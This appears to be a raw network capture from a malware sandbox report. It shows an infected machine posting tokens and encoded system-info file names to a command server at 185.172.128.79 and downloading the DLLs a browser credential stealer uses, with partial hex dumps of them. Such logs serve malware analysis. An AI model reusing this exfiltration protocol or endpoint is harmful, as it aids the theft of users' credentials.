Feb 5, 2024 10:57:56.498100996 CET	7423	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 Data Ascii: ------FCFBFHIEBKJKFHIEBFBAContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------FCFBFHIEBKJKFHIEBFBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Feb 5, 2024 10:57:56.838238955 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:57:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:57:57.247615099 CET	93	OUT	GET /15f649199f40275b/sqlite3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache
Feb 5, 2024 10:57:57.568403959 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:57:57 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Feb 5, 2024 10:57:57.568511963 CET	1286	IN	Data Raw: 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B/81s:<R@B/92P @B
Feb 5, 2024 10:57:57.568551064 CET	1286	IN	Data Raw: 5d c3 8d b4 26 00 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 Data Ascii: ]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Feb 5, 2024 10:57:57.568587065 CET	242	IN	Data Raw: 08 85 d2 74 04 0f b6 42 14 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 Data Ascii: tB]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU
Feb 5, 2024 10:57:57.568625927 CET	1286	IN	Data Raw: 24 ff d2 c9 c3 31 c0 c3 55 85 c0 89 e5 74 10 8b 88 0c 01 00 00 85 c9 74 06 ff 41 24 89 51 0c 89 d0 5d c3 85 c0 74 4d 0f b6 08 80 b9 e0 a1 ec 61 00 89 ca 79 3f 55 80 f9 5b b1 5d 0f 44 d1 b9 01 00 00 00 89 e5 57 56 53 be 01 00 00 00 8a 1c 08 8d 7e Data Ascii: $1UttA$Q]tMay?U[]DWVS~8u:TuT0A\0AF[8^_]UVS149uuaa)uC[^]UEUu1t]]UWVMSU}u1K
Feb 5, 2024 10:57:59.817981005 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.172.128.79 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:00.154072046 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:00.357846022 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ Host: 185.172.128.79 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:00.687891006 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:00.720083952 CET	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: 185.172.128.79 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file"------IJDGIIEBFCBAAAAKKEGH--
Feb 5, 2024 10:58:01.046238899 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:01.798196077 CET	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAE Host: 185.172.128.79 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 2d 2d 0d 0a Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file"------ECAEGHIJEHJDHIDHIDAE--
Feb 5, 2024 10:58:02.132287025 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Feb 5, 2024 10:58:02.451606989 CET	93	OUT	GET /15f649199f40275b/freebl3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache
Feb 5, 2024 10:58:02.770664930 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:02 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Feb 5, 2024 10:58:06.103229046 CET	93	OUT	GET /15f649199f40275b/mozglue.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache
Feb 5, 2024 10:58:06.424232006 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:06 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Feb 5, 2024 10:58:07.143349886 CET	94	OUT	GET /15f649199f40275b/msvcp140.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache
Feb 5, 2024 10:58:07.464117050 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:07 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Feb 5, 2024 10:58:08.023972988 CET	90	OUT	GET /15f649199f40275b/nss3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache
